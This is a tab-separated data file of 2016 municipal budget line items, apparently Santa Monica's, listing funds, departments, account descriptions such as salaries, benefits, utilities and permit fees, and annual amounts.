21226	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522139.0	UTIL-WATER-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2016	167166	0	0	0	0	0	0	0	0	0	0	0	167166
21227	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		CUSTODIAL SUPP-TRIMANA	808.0	 Supplies and Expenses	2016	5200	0	0	0	0	0	0	0	0	0	0	0	5200
21228	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	555920.0	SANTA MONICA SWIM CENTER	808.0	 Supplies and Expenses	2016	106000	0	0	0	0	0	0	0	0	0	0	0	106000
21229	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544011.0	PALISADES PARK ID PROJECT	808.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21230	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EAP	808.0	Salaries and Wages	2016	2101	0	0	0	0	0	0	0	0	0	0	0	2101
21231	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DISABILITY INSURANCE	808.0	Salaries and Wages	2016	3264	0	0	0	0	0	0	0	0	0	0	0	3264
21232	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		UNEMPLOYMENT	808.0	Salaries and Wages	2016	1005	0	0	0	0	0	0	0	0	0	0	0	1005
21233	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EAP	808.0	Salaries and Wages	2016	313	0	0	0	0	0	0	0	0	0	0	0	313
21234	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2016	451	0	0	0	0	0	0	0	0	0	0	0	451
21235	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2016	-21793	0	0	0	0	0	0	0	0	0	0	0	-21793
21236	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2016	43336	0	0	0	0	0	0	0	0	0	0	0	43336
21237	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511748.0	DENTAL	808.0	Salaries and Wages	2016	43047	0	0	0	0	0	0	0	0	0	0	0	43047
21238	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2016	6930	0	0	0	0	0	0	0	0	0	0	0	6930
21239	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409072.0	ROSIE'S GIRLS-SUMMER I	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21240	BA	IS	19	CDBG Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577762.0	CDBG REIMB-PUBLIC WORKS		 Supplies and Expenses	2016	50000	0	0	0	0	0	0	0	0	0	0	0	50000
21241	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2016	381749	0	0	0	0	0	0	0	0	0	0	0	381749
21242	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2016	86996	0	0	0	0	0	0	0	0	0	0	0	86996
21243	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		EAP	808.0	Salaries and Wages	2016	419	0	0	0	0	0	0	0	0	0	0	0	419
21244	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2016	2898233	0	0	0	0	0	0	0	0	0	0	0	2898233
21245	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511681.0	VACANCY SAVINGS	808.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21246	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2016	8613	0	0	0	0	0	0	0	0	0	0	0	8613
21247	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511490.0	OVERTIME	808.0	Salaries and Wages	2016	16279	0	0	0	0	0	0	0	0	0	0	0	16279
21248	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2016	798140	0	0	0	0	0	0	0	0	0	0	0	798140
21249	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402460.0	TENANT UTILITIES PAYMENT	650.0	Charges for Service	2016	-165226	0	0	0	0	0	0	0	0	0	0	0	-165226
21250	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	400580.0	FILMING PERMITS	608.0	Licenses and Permits	2016	-151947	0	0	0	0	0	0	0	0	0	0	0	-151947
21251	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511490.0	OVERTIME	808.0	Salaries and Wages	2016	25221	0	0	0	0	0	0	0	0	0	0	0	25221
21252	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2016	44325	0	0	0	0	0	0	0	0	0	0	0	44325
21253	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511920.0	UNIFORM / TOOL ALLOWANCE	808.0	Salaries and Wages	2016	26400	0	0	0	0	0	0	0	0	0	0	0	26400
21254	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2016	2855016	0	0	0	0	0	0	0	0	0	0	0	2855016
21255	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	555210.0	TRAINING	808.0	 Supplies and Expenses	2016	862	0	0	0	0	0	0	0	0	0	0	0	862
21256	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522129.0	UTIL-GAS-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21257	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522312.0	DISCOUNTS LOST	808.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21258	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	401400.0	UTILITY EXCAVATION FEES	612.0	Charges for Service	2016	-236352	0	0	0	0	0	0	0	0	0	0	0	-236352
21259	BA	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570070.0	TRANSFER-MEASURE V FUND	908.0	 Supplies and Expenses	2016	-723686	0	0	0	0	0	0	0	0	0	0	0	-723686
21260	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2016	12897	0	0	0	0	0	0	0	0	0	0	0	12897
21261	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	404560.0	UTILITY POLE LEASE FEE	608.0	Licenses and Permits	2016	-3972	0	0	0	0	0	0	0	0	0	0	0	-3972
21262	BA	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	402050.0	TRANSPORTATION IMPACT FEE	622.0	Other	2016	-294000	0	0	0	0	0	0	0	0	0	0	0	-294000
21263	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2016	5240	0	0	0	0	0	0	0	0	0	0	0	5240
21264	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511747.0	CASH-IN-LIEU	808.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21265	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2016	-2470	0	0	0	0	0	0	0	0	0	0	0	-2470
21266	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2016	1737	0	0	0	0	0	0	0	0	0	0	0	1737
21267	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DISABILITY INSURANCE	808.0	Salaries and Wages	2016	1591	0	0	0	0	0	0	0	0	0	0	0	1591
21268	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555870.0	GROCERY & SUNDRY ITEMS	810.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21269	BA	IS	1	General Fund	310	FIRE	315	TRAINING	533010.0	PERSONAL PROTECTIVE EQUIPMENT	806.0	 Supplies and Expenses	2016	31161	0	0	0	0	0	0	0	0	0	0	0	31161
21270	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	533710.0	SOFTWARE	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21271	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2016	-43450	0	0	0	0	0	0	0	0	0	0	0	-43450
21272	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2016	6530	0	0	0	0	0	0	0	0	0	0	0	6530
21273	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2016	96120	0	0	0	0	0	0	0	0	0	0	0	96120
21274	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511749.0	VISION	808.0	Salaries and Wages	2016	439	0	0	0	0	0	0	0	0	0	0	0	439
21275	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DISABILITY INSURANCE	808.0	Salaries and Wages	2016	10248	0	0	0	0	0	0	0	0	0	0	0	10248
21276	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511748.0	DENTAL	808.0	Salaries and Wages	2016	4917	0	0	0	0	0	0	0	0	0	0	0	4917
21277	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2016	1971	0	0	0	0	0	0	0	0	0	0	0	1971
21278	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2016	-97509	0	0	0	0	0	0	0	0	0	0	0	-97509
21279	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2016	21619	0	0	0	0	0	0	0	0	0	0	0	21619
21280	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	588030.0	COMPUTER EQUIPMENT	804.0	 Supplies and Expenses	2016	75000	0	0	0	0	0	0	0	0	0	0	0	75000
21281	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	588110.0	TRAFFIC CONTROL EQUIPMENT	816.0	 Supplies and Expenses	2016	30165	0	0	0	0	0	0	0	0	0	0	0	30165
21282	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579320.0	TRANSFER OUT TO CEMETERY FUND	910.0	 Supplies and Expenses	2016	151516	0	0	0	0	0	0	0	0	0	0	0	151516
21283	BA	IS	37	Cemetery Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579320.0	TRANSFER IN FROM GENERAL FUND		 Supplies and Expenses	2016	-151516	0	0	0	0	0	0	0	0	0	0	0	-151516
21284	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTIL-LIGHT/POWER-3RD ST & MISC	800.0	 Supplies and Expenses	2016	30819	0	0	0	0	0	0	0	0	0	0	0	30819
21285	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTIL-NATURAL GAS-CITY HAL	808.0	 Supplies and Expenses	2016	2100	0	0	0	0	0	0	0	0	0	0	0	2100
21286	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		CUST SUPPLIES-CITY YARDS	808.0	 Supplies and Expenses	2016	7500	0	0	0	0	0	0	0	0	0	0	0	7500
21287	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	544490.0	PRINT SHOP PRINTING	806.0	 Supplies and Expenses	2016	510	0	0	0	0	0	0	0	0	0	0	0	510
21288	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	555010.0	CONTRACTUAL SERVICES	804.0	 Supplies and Expenses	2016	800000	0	0	0	0	0	0	0	0	0	0	0	800000
21289	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2016	8578	0	0	0	0	0	0	0	0	0	0	0	8578
21290	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2016	226133	0	0	0	0	0	0	0	0	0	0	0	226133
21291	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2016	6123	0	0	0	0	0	0	0	0	0	0	0	6123
21292	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2016	1257158	0	0	0	0	0	0	0	0	0	0	0	1257158
21293	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2016	35120	0	0	0	0	0	0	0	0	0	0	0	35120
21294	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2016	450286	0	0	0	0	0	0	0	0	0	0	0	450286
21295	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2016	3093	0	0	0	0	0	0	0	0	0	0	0	3093
21296	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2016	42959	0	0	0	0	0	0	0	0	0	0	0	42959
21297	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DCAP	808.0	Salaries and Wages	2016	504	0	0	0	0	0	0	0	0	0	0	0	504
21298	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2016	-5112	0	0	0	0	0	0	0	0	0	0	0	-5112
21299	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2016	1457	0	0	0	0	0	0	0	0	0	0	0	1457
21300	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511500.0	TEMPORARY EMPLOYEES	808.0	Salaries and Wages	2016	201408	0	0	0	0	0	0	0	0	0	0	0	201408
21301	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2016	914305	0	0	0	0	0	0	0	0	0	0	0	914305
21302	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	408020.0	TRAFFIC CONTROL	612.0	Charges for Service	2016	-120000	0	0	0	0	0	0	0	0	0	0	0	-120000
21303	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	400610.0	USE OF PUBLIC PROPERTY PERMITS	612.0	Charges for Service	2016	-537165	0	0	0	0	0	0	0	0	0	0	0	-537165
21304	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	522620.0	RENT	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21305	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2016	3612	0	0	0	0	0	0	0	0	0	0	0	3612
21306	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2016	18800	0	0	0	0	0	0	0	0	0	0	0	18800
21307	BA	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2016	600495	0	0	0	0	0	0	0	0	0	0	0	600495
21308	BA	IS	25	Water Fund	500	PUBLIC WORKS	673	ARCADIA TREATMENT PLANT	544013.0	CARTRIDGE FILTER REPLACEMENT	808.0	 Supplies and Expenses	2016	56064	0	0	0	0	0	0	0	0	0	0	0	56064
21309	BA	IS	25	Water Fund	500	PUBLIC WORKS	673	ARCADIA TREATMENT PLANT	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2016	127095	0	0	0	0	0	0	0	0	0	0	0	127095
21310	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2016	374849	0	0	0	0	0	0	0	0	0	0	0	374849
21311	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE		EAP	808.0	Salaries and Wages	2016	625	0	0	0	0	0	0	0	0	0	0	0	625
21312	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2016	3169	0	0	0	0	0	0	0	0	0	0	0	3169
21313	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	555016.0	OUTSIDE REPAIRS-HZRDOUS WASTE		 Supplies and Expenses	2016	87203	0	0	0	0	0	0	0	0	0	0	0	87203
21314	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	560060.0	UNIFORMS AND MAINTENANCE		 Supplies and Expenses	2016	4410	0	0	0	0	0	0	0	0	0	0	0	4410
21315	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522230.0	CREDIT CARD FEES	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21316	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		BLDG/STR MAINT-CIVIC AUDITORIU	808.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21317	BA	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	544016.0	ANALYTICAL INSTR CONSUMABLES	808.0	 Supplies and Expenses	2016	2077	0	0	0	0	0	0	0	0	0	0	0	2077
21318	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	544340.0	INDIRECT COST ALLOCATION		 Supplies and Expenses	2016	341603	0	0	0	0	0	0	0	0	0	0	0	341603
21319	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	400613.0	NEWSRACK PERMITS	612.0	Charges for Service	2016	-18000	0	0	0	0	0	0	0	0	0	0	0	-18000
21320	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE		WELLNESS	808.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21321	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2016	440	0	0	0	0	0	0	0	0	0	0	0	440
21322	BA	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2016	21712	0	0	0	0	0	0	0	0	0	0	0	21712
21323	BA	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	555430.0	WASTE DISPOSAL (BRINING)	808.0	 Supplies and Expenses	2016	59491	0	0	0	0	0	0	0	0	0	0	0	59491
21324	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511490.0	OVERTIME		Salaries and Wages	2016	12579	0	0	0	0	0	0	0	0	0	0	0	12579
21325	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2016	6305	0	0	0	0	0	0	0	0	0	0	0	6305
21326	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511970.0	OTHER FRINGE BENEFITS		Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21327	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404690.0	415 PCH - PARKING	612.0	Charges for Service	2016	-460000	0	0	0	0	0	0	0	0	0	0	0	-460000
21328	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402240.0	AIRPORT - EVENTS	650.0	Charges for Service	2016	-65416	0	0	0	0	0	0	0	0	0	0	0	-65416
21329	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	408000.0	INTERFUND SERVICES-ST MAINTENA	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21330	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	566500.0	RECRUITMENT	806.0	 Supplies and Expenses	2016	20910	0	0	0	0	0	0	0	0	0	0	0	20910
21331	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	402970.0	SAMOHI TRACK RENTAL	618.0	Rentals	2016	-2300	0	0	0	0	0	0	0	0	0	0	0	-2300
21332	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511749.0	VISION	840.0	Salaries and Wages	2016	877	0	0	0	0	0	0	0	0	0	0	0	877
21333	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	560070.0	INDUSTRIAL SAFETY SHOES		 Supplies and Expenses	2016	6300	0	0	0	0	0	0	0	0	0	0	0	6300
21334	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561506.0	HOMELESS PREVENTION		 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21335	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	408450.0	TMD ASSESSMENT	622.0	Other	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21336	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21337	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	402162.0	FILMING RECEIPTS	608.0	Licenses and Permits	2016	-40000	0	0	0	0	0	0	0	0	0	0	0	-40000
21338	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	402162.0	FILMING RECEIPTS	608.0	Licenses and Permits	2016	-15000	0	0	0	0	0	0	0	0	0	0	0	-15000
21339	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511681.0	VACANCY SAVINGS	808.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21340	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2016	70519	0	0	0	0	0	0	0	0	0	0	0	70519
21341	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511749.0	VISION	808.0	Salaries and Wages	2016	5932	0	0	0	0	0	0	0	0	0	0	0	5932
21342	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2016	-47456	0	0	0	0	0	0	0	0	0	0	0	-47456
21343	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		EAP	808.0	Salaries and Wages	2016	4228	0	0	0	0	0	0	0	0	0	0	0	4228
21344	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409071.0	ROSIE'S GIRLS-SPRING	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21345	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409073.0	ROSIE'S GIRLS-SUMMER II	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21346	BA	IS	12	Housing Authority Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511773.0	RETIREMENT - MISC EMPL	810.0	Salaries and Wages	2016	6005	0	0	0	0	0	0	0	0	0	0	0	6005
21347	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511491.0	OVERTIME CONTINGENCY	806.0	Salaries and Wages	2016	424360	0	0	0	0	0	0	0	0	0	0	0	424360
21348	BA	IS	43	Gas Tax Fund	500	PUBLIC WORKS	402	ENGINEERING	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2016	-9000	0	0	0	0	0	0	0	0	0	0	0	-9000
21349	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2016	750	0	0	0	0	0	0	0	0	0	0	0	750
21350	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	402090.0	SAMOHI FIELD FIELD RENTAL	618.0	Rentals	2016	-38600	0	0	0	0	0	0	0	0	0	0	0	-38600
21351	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	555210.0	TRAINING	808.0	 Supplies and Expenses	2016	1500	0	0	0	0	0	0	0	0	0	0	0	1500
21352	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544040.0	BOOKS / PAMPHLETS	808.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21353	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544290.0	OTHER MATERIALS AND SUPPLIES	808.0	 Supplies and Expenses	2016	4486	0	0	0	0	0	0	0	0	0	0	0	4486
21354	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522125.0	UTIL - NATURAL GAS - PSF	808.0	 Supplies and Expenses	2016	20900	0	0	0	0	0	0	0	0	0	0	0	20900
21355	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		CONT SVCS-CITY TV	808.0	 Supplies and Expenses	2016	10325	0	0	0	0	0	0	0	0	0	0	0	10325
21356	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533225.0	BLDG/STR MAINT-PSF	808.0	 Supplies and Expenses	2016	214000	0	0	0	0	0	0	0	0	0	0	0	214000
21357	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533226.0	BLDG/STR MAINT-LIBRARY	808.0	 Supplies and Expenses	2016	170000	0	0	0	0	0	0	0	0	0	0	0	170000
21358	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533223.0	BLDG/STR MAINT-ACCESS CENTER	808.0	 Supplies and Expenses	2016	15000	0	0	0	0	0	0	0	0	0	0	0	15000
21359	BA	IS	25	Water Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21360	BA	IS	30	Pier Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21361	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511749.0	VISION	808.0	Salaries and Wages	2016	7578	0	0	0	0	0	0	0	0	0	0	0	7578
